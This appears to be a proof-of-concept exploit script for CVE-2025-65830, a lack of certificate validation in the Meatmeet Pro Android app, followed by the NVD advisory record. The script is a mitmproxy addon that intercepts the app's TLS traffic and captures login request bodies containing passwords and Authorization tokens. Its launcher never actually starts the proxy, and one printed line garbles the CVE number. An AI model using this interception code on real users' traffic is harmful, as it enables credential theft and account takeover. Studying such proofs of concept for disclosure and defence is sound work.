CVE-2025-65830

# CVE-2025-65830 PoC - Certificate Validation Bypass via MITM Attack # This PoC demonstrates the lack of certificate pinning in the vulnerable application import mitmproxy from mitmproxy import http import json import logging logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) class CVE202565830Interceptor: def __init__(self): self.captured_credentials = [] self.captured_tokens = [] def request(self, flow: http.HTTPFlow) -> None: """ Intercept all HTTP/HTTPS requests from the vulnerable mobile app Since there's no certificate pinning, we can decrypt TLS traffic """ # Log all intercepted requests logger.info(f"[*] Intercepted Request: {flow.request.method} {flow.request.pretty_url}") # Check for authentication endpoints if 'login' in flow.request.pretty_url.lower() or 'auth' in flow.request.pretty_url.lower(): self.extract_credentials(flow) # Extract authorization tokens auth_header = flow.request.headers.get('Authorization', '') if auth_header: self.captured_tokens.append({ 'url': flow.request.pretty_url, 'token': auth_header, 'timestamp': str(flow.request.timestamp_start) }) logger.info(f"[!] Captured Auth Token: {auth_header}") def extract_credentials(self, flow: http.HTTPFlow) -> None: """ Extract username and password (or MD5 hash) from login requests """ # Try to get credentials from form data if flow.request.content: try: content = flow.request.content.decode('utf-8', errors='ignore') logger.info(f"[*] Request Body: {content}") # Look for common credential patterns if 'password' in content.lower(): self.captured_credentials.append({ 'url': flow.request.pretty_url, 'body': content, 'timestamp': str(flow.request.timestamp_start) }) logger.warning(f"[!] Credentials Captured: {content}") except Exception as e: logger.error(f"Error extracting credentials: {e}") def response(self, flow: http.HTTPFlow) -> None: """ Intercept and potentially modify server responses """ logger.info(f"[*] Server Response: {flow.response.status_code}") # Can modify response data here if needed # flow.response.content = modified_content # Run the proxy with self-signed certificate # Users need to install mitmproxy CA certificate on the mobile device def run_proxy(): """ To exploit CVE-2025-65830: 1. Install mitmproxy on attacker machine 2. Generate and install CA certificate on mobile device 3. Configure mobile device to use proxy 4. Run this script to intercept all traffic Note: This is for educational/security testing purposes only """ addons = [CVE202565830Interceptor()] # mitmproxy will listen on default port 8080 print("[*] Starting MITM Proxy for CVE-2025-658830...") print("[*] Configure mobile device to use this proxy") print("[*] Install mitmproxy CA certificate on mobile device") print("[*] All TLS traffic will be decrypted due to missing certificate pinning") if __name__ == "__main__": run_proxy()

{"cve": {"id": "CVE-2025-65830", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:08.793", "lastModified": "2025-12-30T18:46:13.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a lack of certificate validation, all traffic from the mobile application can be intercepted. As a result, an adversary located \"upstream\" can decrypt the TLS traffic, inspect its contents, and modify the requests in transit. This may result in a total compromise of the user's account if the attacker intercepts a request with active authentication tokens or cracks the MD5 hash sent on login."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meatmeet:meatmeet:1.1.2.0:*:*:*:pro:android:*:*", "matchCriteriaId": "5728B254-9D91-4EA1-9C7B-B4957DE1D77D"}]}]}], "references": [{"url": "https://gist.github.com/dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5#file-lack-of-certificate-pinning-md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/dead1nfluence/Meatmeet-Pro-Vulnerabilities/blob/main/Mobile-Application/Lack-of-Certificate-Pinning.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}